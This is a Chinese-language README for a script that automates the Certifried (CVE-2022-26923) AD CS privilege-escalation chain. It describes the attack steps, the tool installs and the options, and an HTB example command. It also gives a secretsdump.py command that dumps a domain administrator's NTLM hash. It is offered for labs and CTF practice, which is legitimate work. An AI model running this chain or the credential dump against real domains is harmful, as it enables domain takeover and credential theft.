CVE-2022-26923 – Certifried 漏洞利用（AD CS 滥用）

自动化利用 CVE-2022-26923（Certifried），通过滥用 Active Directory 证书服务（AD CS）和基于资源的约束委派（RBCD）实现权限提升，最终转储域管理员账户的 NTLM 哈希。

⚠️ 仅供学习 / 实验环境 / HTB 使用

请勿在未经授权的环境中使用。

---

🎯 描述

该脚本自动化以下攻击链：

1. 创建受控机器账户
2. 修改 dNSHostName
3. 通过 AD CS 请求证书
4. 使用证书进行身份验证
5. 滥用 RBCD
6. S4U2Self + S4U2Proxy
7. 获取 administrator 的 Kerberos 票据
8. 通过 secretsdump.py 转储 NTLM

---

🔗 漏洞信息

• CVE-2022-26923 – “Certifried”
• 影响使用 AD CS 的 Active Directory 环境
• 可通过错误签发的证书伪装成域控制器

---

🛠 使用的工具

• certipy-ad
• bloodyAD
• getST.py（Impacket）
• secretsdump.py（Impacket）
• openssl

---

📦 安装依赖

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

---

🚀 使用方法

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

可用选项

-d, --dc-ip          Domain Controller 的 IP
-D, --domain         域名
-u, --user           有效用户
-p, --pass           用户密码
-c, --comp-name      受控机器名
-C, --comp-pass      机器密码
-a, --ca-name        证书颁发机构（CA）名称
-t, --template       证书模板
-f, --pfx-file       PFX 文件名
-H, --dc-hostname    DC 的主机名
-A, --dc-account     DC 账户
-i, --impersonate    要模拟的目标账户
--verbose            调试模式
-h, --help           帮助

---

🧠 示例（HTB Certified）

./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose

---

🔥 预期结果

执行完成后：

• 一个 Kerberos 票据 administrator.ccache
• administrator 账户的 NTLM 转储

如果遇到 Kerberos 问题：

KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39

---

🧬 内部工作原理

Machine Account Creation
        ↓
dNSHostName spoofing
        ↓
Certificate Request (Machine Template)
        ↓
Authentication via PFX
        ↓
RBCD abuse (bloodyAD)
        ↓
S4U2Self + S4U2Proxy
        ↓
Kerberos Ticket extraction
        ↓
NTLM dump via secretsdump

---

⚠️ 免责声明

本项目仅用于以下目的：

• 教学
• 安全研究
• 个人实验环境
• CTF / HTB

作者对任何未经授权的使用不承担任何责任。

---

📜 许可证

MIT